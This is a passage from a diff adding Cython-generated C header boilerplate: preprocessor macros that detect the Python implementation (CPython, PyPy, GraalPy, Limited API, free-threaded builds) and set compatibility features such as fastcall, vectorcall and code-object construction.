PY_VERSION_HEX +#if defined(GRAALVM_PYTHON) + /* For very preliminary testing purposes. Most variables are set the same as PyPy. + The existence of this section does not imply that anything works or is even tested */ + #define CYTHON_COMPILING_IN_PYPY 0 + #define CYTHON_COMPILING_IN_CPYTHON 0 + #define CYTHON_COMPILING_IN_LIMITED_API 0 + #define CYTHON_COMPILING_IN_GRAAL 1 + #define CYTHON_COMPILING_IN_NOGIL 0 + #undef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 0 + #undef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 0 + #undef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 0 + #if PY_VERSION_HEX < 0x03050000 + #undef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 0 + #elif !defined(CYTHON_USE_ASYNC_SLOTS) + #define CYTHON_USE_ASYNC_SLOTS 1 + #endif + #undef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 0 + #undef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 0 + #undef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #undef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 0 + #undef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 1 + #undef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 0 + #undef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 0 + #undef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 0 + #undef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL 0 + #undef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL 0 + #undef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 0 + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS (PY_MAJOR_VERSION >= 3) + #endif + #undef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 1 + #undef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 0 + #undef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE 0 + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 0 + #endif + #undef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 0 +#elif defined(PYPY_VERSION) + #define CYTHON_COMPILING_IN_PYPY 1 + #define CYTHON_COMPILING_IN_CPYTHON 0 + #define CYTHON_COMPILING_IN_LIMITED_API 0 + #define CYTHON_COMPILING_IN_GRAAL 0 + #define CYTHON_COMPILING_IN_NOGIL 0 + #undef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 0 + #ifndef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 0 + #endif + #undef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 0 + #if PY_VERSION_HEX < 0x03050000 + #undef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 0 + #elif !defined(CYTHON_USE_ASYNC_SLOTS) + #define CYTHON_USE_ASYNC_SLOTS 1 + #endif + #undef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 0 + #undef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 0 + #undef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #undef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 0 + #undef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 1 + #undef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 0 + #undef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 0 + #undef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 0 + #undef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL 0 + #undef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL 0 + #undef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 0 + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS (PY_MAJOR_VERSION >= 3) + #endif + #if PY_VERSION_HEX < 0x03090000 + #undef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 0 + #elif !defined(CYTHON_PEP489_MULTI_PHASE_INIT) + #define CYTHON_PEP489_MULTI_PHASE_INIT 1 + #endif + #undef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 0 + #undef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE (PY_VERSION_HEX >= 0x030400a1 && PYPY_VERSION_NUM >= 0x07030C00) + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 0 + #endif + #undef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 0 +#elif defined(CYTHON_LIMITED_API) + #ifdef Py_LIMITED_API + #undef __PYX_LIMITED_VERSION_HEX + #define __PYX_LIMITED_VERSION_HEX Py_LIMITED_API + #endif + #define CYTHON_COMPILING_IN_PYPY 0 + #define CYTHON_COMPILING_IN_CPYTHON 0 + #define CYTHON_COMPILING_IN_LIMITED_API 1 + #define CYTHON_COMPILING_IN_GRAAL 0 + #define CYTHON_COMPILING_IN_NOGIL 0 + #undef CYTHON_CLINE_IN_TRACEBACK + #define CYTHON_CLINE_IN_TRACEBACK 0 + #undef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 0 + #undef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 1 + #undef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 0 + #undef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 0 + #undef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 0 + #undef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 0 + #ifndef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #endif + #undef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 0 + #ifndef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 0 + #endif + #undef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 0 + #undef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 0 + #undef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 0 + #undef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL 0 + #undef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL 0 + #undef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 0 + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS 1 + #endif + #undef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 0 + #undef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 1 + #ifndef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE 0 + #endif + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 0 + #endif + #undef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 0 +#elif defined(Py_GIL_DISABLED) || defined(Py_NOGIL) + #define CYTHON_COMPILING_IN_PYPY 0 + #define CYTHON_COMPILING_IN_CPYTHON 0 + #define CYTHON_COMPILING_IN_LIMITED_API 0 + #define CYTHON_COMPILING_IN_GRAAL 0 + #define CYTHON_COMPILING_IN_NOGIL 1 + #ifndef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 1 + #endif + #ifndef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 0 + #endif + #undef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 0 + #ifndef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 1 + #endif + #ifndef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 0 + #endif + #undef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 0 + #ifndef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 1 + #endif + #undef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #ifndef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 0 + #endif + #ifndef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 1 + #endif + #ifndef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 1 + #endif + #undef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 0 + #undef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL 0 + #ifndef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL 1 + #endif + #undef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 0 + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS 1 + #endif + #ifndef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 1 + #endif + #ifndef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 0 + #endif + #ifndef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE 1 + #endif + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 1 + #endif + #ifndef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 0 + #endif +#else + #define CYTHON_COMPILING_IN_PYPY 0 + #define CYTHON_COMPILING_IN_CPYTHON 1 + #define CYTHON_COMPILING_IN_LIMITED_API 0 + #define CYTHON_COMPILING_IN_GRAAL 0 + #define CYTHON_COMPILING_IN_NOGIL 0 + #ifndef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 1 + #endif + #ifndef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 0 + #endif + #ifndef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 1 + #endif + #if PY_MAJOR_VERSION < 3 + #undef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 0 + #elif !defined(CYTHON_USE_ASYNC_SLOTS) + #define CYTHON_USE_ASYNC_SLOTS 1 + #endif + #ifndef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 1 + #endif + #ifndef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 1 + #endif + #ifndef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 1 + #endif + #if PY_VERSION_HEX < 0x030300F0 || PY_VERSION_HEX >= 0x030B00A2 + #undef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #elif !defined(CYTHON_USE_UNICODE_WRITER) + #define CYTHON_USE_UNICODE_WRITER 1 + #endif + #ifndef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 0 + #endif + #ifndef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 1 + #endif + #ifndef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 1 + #endif + #ifndef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 1 + #endif + #ifndef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL (PY_MAJOR_VERSION < 3 || PY_VERSION_HEX >= 0x03060000 && PY_VERSION_HEX < 0x030C00A6) + #endif + #ifndef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL (PY_VERSION_HEX >= 0x030700A1) + #endif + #ifndef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 1 + #endif + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS 1 + #endif + #if PY_VERSION_HEX < 0x03050000 + #undef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 0 + #elif !defined(CYTHON_PEP489_MULTI_PHASE_INIT) + #define CYTHON_PEP489_MULTI_PHASE_INIT 1 + #endif + #ifndef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 0 + #endif + #if PY_VERSION_HEX < 0x030400a1 + #undef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE 0 + #elif !defined(CYTHON_USE_TP_FINALIZE) + #define CYTHON_USE_TP_FINALIZE 1 + #endif + #if PY_VERSION_HEX < 0x030600B1 + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #elif !defined(CYTHON_USE_DICT_VERSIONS) + #define CYTHON_USE_DICT_VERSIONS (PY_VERSION_HEX < 0x030C00A5) + #endif + #if PY_VERSION_HEX < 0x030700A3 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #elif !defined(CYTHON_USE_EXC_INFO_STACK) + #define CYTHON_USE_EXC_INFO_STACK 1 + #endif + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 1 + #endif + #ifndef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 1 + #endif +#endif +#if !defined(CYTHON_FAST_PYCCALL) +#define CYTHON_FAST_PYCCALL (CYTHON_FAST_PYCALL && PY_VERSION_HEX >= 0x030600B1) +#endif +#if !defined(CYTHON_VECTORCALL) +#define CYTHON_VECTORCALL (CYTHON_FAST_PYCCALL && PY_VERSION_HEX >= 0x030800B1) +#endif +#define CYTHON_BACKPORT_VECTORCALL (CYTHON_METH_FASTCALL && PY_VERSION_HEX < 0x030800B1) +#if CYTHON_USE_PYLONG_INTERNALS + #if PY_MAJOR_VERSION < 3 + #include "longintrepr.h" + #endif + #undef SHIFT + #undef BASE + #undef MASK + #ifdef SIZEOF_VOID_P + enum { __pyx_check_sizeof_voidp = 1 / (int)(SIZEOF_VOID_P == sizeof(void*)) }; + #endif +#endif +#ifndef __has_attribute + #define __has_attribute(x) 0 +#endif +#ifndef __has_cpp_attribute + #define __has_cpp_attribute(x) 0 +#endif +#ifndef CYTHON_RESTRICT + #if defined(__GNUC__) + #define CYTHON_RESTRICT __restrict__ + #elif defined(_MSC_VER) && _MSC_VER >= 1400 + #define CYTHON_RESTRICT __restrict + #elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L + #define CYTHON_RESTRICT restrict + #else + #define CYTHON_RESTRICT + #endif +#endif +#ifndef CYTHON_UNUSED + #if defined(__cplusplus) + /* for clang __has_cpp_attribute(maybe_unused) is true even before C++17 + * but leads to warnings with -pedantic, since it is a C++17 feature */ + #if ((defined(_MSVC_LANG) && _MSVC_LANG >= 201703L) || __cplusplus >= 201703L) + #if __has_cpp_attribute(maybe_unused) + #define CYTHON_UNUSED [[maybe_unused]] + #endif + #endif + #endif +#endif +#ifndef CYTHON_UNUSED +# if defined(__GNUC__) +# if !(defined(__cplusplus)) || (__GNUC__ > 3 || (__GNUC__ == 3 && __GNUC_MINOR__ >= 4)) +# define CYTHON_UNUSED __attribute__ ((__unused__)) +# else +# define CYTHON_UNUSED +# endif +# elif defined(__ICC) || (defined(__INTEL_COMPILER) && !defined(_MSC_VER)) +# define CYTHON_UNUSED __attribute__ ((__unused__)) +# else +# define CYTHON_UNUSED +# endif +#endif +#ifndef CYTHON_UNUSED_VAR +# if defined(__cplusplus) + template void CYTHON_UNUSED_VAR( const T& ) { } +# else +# define CYTHON_UNUSED_VAR(x) (void)(x) +# endif +#endif +#ifndef CYTHON_MAYBE_UNUSED_VAR + #define CYTHON_MAYBE_UNUSED_VAR(x) CYTHON_UNUSED_VAR(x) +#endif +#ifndef CYTHON_NCP_UNUSED +# if CYTHON_COMPILING_IN_CPYTHON +# define CYTHON_NCP_UNUSED +# else +# define CYTHON_NCP_UNUSED CYTHON_UNUSED +# endif +#endif +#ifndef CYTHON_USE_CPP_STD_MOVE + #if defined(__cplusplus) && (\ + __cplusplus >= 201103L || (defined(_MSC_VER) && _MSC_VER >= 1600)) + #define CYTHON_USE_CPP_STD_MOVE 1 + #else + #define CYTHON_USE_CPP_STD_MOVE 0 + #endif +#endif +#define __Pyx_void_to_None(void_result) ((void)(void_result), Py_INCREF(Py_None), Py_None) +#ifdef _MSC_VER + #ifndef _MSC_STDINT_H_ + #if _MSC_VER < 1300 + typedef unsigned char uint8_t; + typedef unsigned short uint16_t; + typedef unsigned int uint32_t; + #else + typedef unsigned __int8 uint8_t; + typedef unsigned __int16 uint16_t; + typedef unsigned __int32 uint32_t; + #endif + #endif + #if _MSC_VER < 1300 + #ifdef _WIN64 + typedef unsigned long long __pyx_uintptr_t; + #else + typedef unsigned int __pyx_uintptr_t; + #endif + #else + #ifdef _WIN64 + typedef unsigned __int64 __pyx_uintptr_t; + #else + typedef unsigned __int32 __pyx_uintptr_t; + #endif + #endif +#else + #include + typedef uintptr_t __pyx_uintptr_t; +#endif +#ifndef CYTHON_FALLTHROUGH + #if defined(__cplusplus) + /* for clang __has_cpp_attribute(fallthrough) is true even before C++17 + * but leads to warnings with -pedantic, since it is a C++17 feature */ + #if ((defined(_MSVC_LANG) && _MSVC_LANG >= 201703L) || __cplusplus >= 201703L) + #if __has_cpp_attribute(fallthrough) + #define CYTHON_FALLTHROUGH [[fallthrough]] + #endif + #endif + #ifndef CYTHON_FALLTHROUGH + #if __has_cpp_attribute(clang::fallthrough) + #define CYTHON_FALLTHROUGH [[clang::fallthrough]] + #elif __has_cpp_attribute(gnu::fallthrough) + #define CYTHON_FALLTHROUGH [[gnu::fallthrough]] + #endif + #endif + #endif + #ifndef CYTHON_FALLTHROUGH + #if __has_attribute(fallthrough) + #define CYTHON_FALLTHROUGH __attribute__((fallthrough)) + #else + #define CYTHON_FALLTHROUGH + #endif + #endif + #if defined(__clang__) && defined(__apple_build_version__) + #if __apple_build_version__ < 7000000 + #undef CYTHON_FALLTHROUGH + #define CYTHON_FALLTHROUGH + #endif + #endif +#endif +#ifdef __cplusplus + template + struct __PYX_IS_UNSIGNED_IMPL {static const bool value = T(0) < T(-1);}; + #define __PYX_IS_UNSIGNED(type) (__PYX_IS_UNSIGNED_IMPL::value) +#else + #define __PYX_IS_UNSIGNED(type) (((type)-1) > 0) +#endif +#if CYTHON_COMPILING_IN_PYPY == 1 + #define __PYX_NEED_TP_PRINT_SLOT (PY_VERSION_HEX >= 0x030800b4 && PY_VERSION_HEX < 0x030A0000) +#else + #define __PYX_NEED_TP_PRINT_SLOT (PY_VERSION_HEX >= 0x030800b4 && PY_VERSION_HEX < 0x03090000) +#endif +#define __PYX_REINTERPRET_FUNCION(func_pointer, other_pointer) ((func_pointer)(void(*)(void))(other_pointer)) + +#ifndef CYTHON_INLINE + #if defined(__clang__) + #define CYTHON_INLINE __inline__ __attribute__ ((__unused__)) + #elif defined(__GNUC__) + #define CYTHON_INLINE __inline__ + #elif defined(_MSC_VER) + #define CYTHON_INLINE __inline + #elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L + #define CYTHON_INLINE inline + #else + #define CYTHON_INLINE + #endif +#endif + +#define __PYX_BUILD_PY_SSIZE_T "n" +#define CYTHON_FORMAT_SSIZE_T "z" +#if PY_MAJOR_VERSION < 3 + #define __Pyx_BUILTIN_MODULE_NAME "__builtin__" + #define __Pyx_DefaultClassType PyClass_Type + #define __Pyx_PyCode_New(a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\ + PyCode_New(a+k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) +#else + #define __Pyx_BUILTIN_MODULE_NAME "builtins" + #define __Pyx_DefaultClassType PyType_Type +#if CYTHON_COMPILING_IN_LIMITED_API + static CYTHON_INLINE PyObject* __Pyx_PyCode_New(int a, int p, int k, int l, int s, int f, + PyObject *code, PyObject *c, PyObject* n, PyObject *v, + PyObject *fv, PyObject *cell, PyObject* fn, + PyObject *name, int fline, PyObject *lnos) { + PyObject *exception_table = NULL; + PyObject *types_module=NULL, *code_type=NULL, *result=NULL; + #if __PYX_LIMITED_VERSION_HEX < 0x030B0000 + PyObject *version_info; + PyObject *py_minor_version = NULL; + #endif + long minor_version = 0; + PyObject *type, *value, *traceback; + PyErr_Fetch(&type, &value, &traceback); + #if __PYX_LIMITED_VERSION_HEX >= 0x030B0000 + minor_version = 11; + #else + if (!(version_info = PySys_GetObject("version_info"))) goto end; + if (!(py_minor_version = PySequence_GetItem(version_info, 1))) goto end; + minor_version = PyLong_AsLong(py_minor_version); + Py_DECREF(py_minor_version); + if (minor_version == -1 && PyErr_Occurred()) goto end; + #endif + if (!(types_module = PyImport_ImportModule("types"))) goto end; + if (!(code_type = PyObject_GetAttrString(types_module, "CodeType"))) goto end; + if (minor_version <= 7) { + (void)p; + result = PyObject_CallFunction(code_type, "iiiiiOOOOOOiOO", a, k, l, s, f, code, + c, n, v, fn, name, fline, lnos, fv, cell); + } else if (minor_version <= 10) { + result = PyObject_CallFunction(code_type, "iiiiiiOOOOOOiOO", a,p, k, l, s, f, code, + c, n, v, fn, name, fline, lnos, fv, cell); + } else { + if (!(exception_table = PyBytes_FromStringAndSize(NULL, 0))) goto end; + result = PyObject_CallFunction(code_type, "iiiiiiOOOOOOOiOO", a,p, k, l, s, f, code, + c, n, v, fn, name, name, fline, lnos, exception_table, fv, cell); + } + end: + Py_XDECREF(code_type); + Py_XDECREF(exception_table); + Py_XDECREF(types_module); + if (type) { + PyErr_Restore(type, value, traceback); + } + return result; + } + #ifndef CO_OPTIMIZED + #define CO_OPTIMIZED 0x0001 + #endif + #ifndef CO_NEWLOCALS + #define CO_NEWLOCALS 0x0002 + #endif + #ifndef CO_VARARGS + #define CO_VARARGS 0x0004 + #endif + #ifndef CO_VARKEYWORDS + #define CO_VARKEYWORDS 0x0008 + #endif + #ifndef CO_ASYNC_GENERATOR + #define CO_ASYNC_GENERATOR 0x0200 + #endif + #ifndef CO_GENERATOR + #define CO_GENERATOR 0x0020 + #endif + #ifndef CO_COROUTINE + #define CO_COROUTINE 0x0080 + #endif +#elif PY_VERSION_HEX >= 0x030B0000 + static CYTHON_INLINE PyCodeObject* __Pyx_PyCode_New(int a, int p, int k, int l, int s, int f, + PyObject *code, PyObject *c, PyObject* n, PyObject *v, + PyObject *fv, PyObject *cell, PyObject* fn, + PyObject *name, int fline, PyObject *lnos) { + PyCodeObject *result; + PyObject *empty_bytes = PyBytes_FromStringAndSize("", 0); + if (!empty_bytes) return NULL; + result = + #if PY_VERSION_HEX >= 0x030C0000 + PyUnstable_Code_NewWithPosOnlyArgs + #else + PyCode_NewWithPosOnlyArgs + #endif + (a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, name, fline, lnos, empty_bytes); + Py_DECREF(empty_bytes); + return result; + } +#elif PY_VERSION_HEX >= 0x030800B2 && !CYTHON_COMPILING_IN_PYPY + #define __Pyx_PyCode_New(a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\ + PyCode_NewWithPosOnlyArgs(a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) +#else + #define __Pyx_PyCode_New(a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\ + PyCode_New(a, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) +#endif +#endif +#if PY_VERSION_HEX >= 0x030900A4 || defined(Py_IS_TYPE) + #define __Pyx_IS_TYPE(ob, type) Py_IS_TYPE(ob, type) +#else + #define __Pyx_IS_TYPE(ob, type) (((const PyObject*)ob)->ob_type == (type)) +#endif +#if PY_VERSION_HEX >= 0x030A00B1 || defined(Py_Is) + #define __Pyx_Py_Is(x, y) Py_Is(x, y) +#else + #define __Pyx_Py_Is(x, y) ((x) == (y)) +#endif +#if PY_VERSION_HEX >= 0x030A00B1 || defined(Py_IsNone) + #define __Pyx_Py_IsNone(ob) Py_IsNone(ob) +#else + #define __Pyx_Py_IsNone(ob) __Pyx_Py_Is((ob), Py_None) +#endif +#if PY_VERSION_HEX >= 0x030A00B1 || defined(Py_IsTrue) + #define __Pyx_Py_IsTrue(ob) Py_IsTrue(ob) +#else + #define __Pyx_Py_IsTrue(ob) __Pyx_Py_Is((ob), Py_True) +#endif +#if PY_VERSION_HEX >= 0x030A00B1 || defined(Py_IsFalse) + #define __Pyx_Py_IsFalse(ob) Py_IsFalse(ob) +#else + #define __Pyx_Py_IsFalse(ob) __Pyx_Py_Is((ob), Py_False) +#endif +#define __Pyx_NoneAsNull(obj) (__Pyx_Py_IsNone(obj) ? NULL : (obj)) +#if PY_VERSION_HEX >= 0x030900F0 && !CYTHON_COMPILING_IN_PYPY + #define __Pyx_PyObject_GC_IsFinalized(o) PyObject_GC_IsFinalized(o) +#else + #define __Pyx_PyObject_GC_IsFinalized(o) _PyGC_FINALIZED(o) +#endif +#ifndef CO_COROUTINE + #define CO_COROUTINE 0x80 +#endif +#ifndef CO_ASYNC_GENERATOR + #define CO_ASYNC_GENERATOR 0x200 +#endif +#ifndef Py_TPFLAGS_CHECKTYPES + #define Py_TPFLAGS_CHECKTYPES 0 +#endif +#ifndef Py_TPFLAGS_HAVE_INDEX + #define Py_TPFLAGS_HAVE_INDEX 0 +#endif +#ifndef Py_TPFLAGS_HAVE_NEWBUFFER + #define Py_TPFLAGS_HAVE_NEWBUFFER 0 +#endif +#ifndef Py_TPFLAGS_HAVE_FINALIZE + #define Py_TPFLAGS_HAVE_FINALIZE 0 +#endif +#ifndef Py_TPFLAGS_SEQUENCE + #define Py_TPFLAGS_SEQUENCE 0 +#endif +#ifndef Py_TPFLAGS_MAPPING + #define Py_TPFLAGS_MAPPING 0 +#endif +#ifndef METH_STACKLESS + #define METH_STACKLESS 0 +#endif +#if PY_VERSION_HEX <= 0x030700A3 || !defined(METH_FASTCALL) + #ifndef METH_FASTCALL + #define METH_FASTCALL 0x80 + #endif + typedef PyObject *(*__Pyx_PyCFunctionFast) (PyObject *self, PyObject *const *args, Py_ssize_t nargs); + typedef PyObject *(*__Pyx_PyCFunctionFastWithKeywords) (PyObject *self, PyObject *const *args, + Py_ssize_t nargs, PyObject *kwnames); +#else + #if PY_VERSION_HEX >= 0x030d00A4 + # define __Pyx_PyCFunctionFast PyCFunctionFast + # define __Pyx_PyCFunctionFastWithKeywords PyCFunctionFastWithKeywords + #else + # define __Pyx_PyCFunctionFast _PyCFunctionFast + # define __Pyx_PyCFunctionFastWithKeywords _PyCFunctionFastWithKeywords + #endif +#endif +#if CYTHON_METH_FASTCALL + #define __Pyx_METH_FASTCALL METH_FASTCALL + #define __Pyx_PyCFunction_FastCall __Pyx_PyCFunctionFast + #define __Pyx_PyCFunction_FastCallWithKeywords __Pyx_PyCFunctionFastWithKeywords +#else + #define __Pyx_METH_FASTCALL METH_VARARGS + #define __Pyx_PyCFunction_FastCall PyCFunction + #define __Pyx_PyCFunction_FastCallWithKeywords PyCFunctionWithKeywords +#endif +#if CYTHON_VECTORCALL + #define __pyx_vectorcallfunc vectorcallfunc + #define __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET PY_VECTORCALL_ARGUMENTS_OFFSET + #define __Pyx_PyVectorcall_NARGS(n) PyVectorcall_NARGS((size_t)(n)) +#elif CYTHON_BACKPORT_VECTORCALL + typedef PyObject *(*__pyx_vectorcallfunc)(PyObject *callable, PyObject *const *args, + size_t nargsf, PyObject *kwnames); + #define __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET ((size_t)1 << (8 * sizeof(size_t) - 1)) + #define __Pyx_PyVectorcall_NARGS(n) ((Py_ssize_t)(((size_t)(n)) & ~__Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET)) +#else + #define __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET 0 + #define 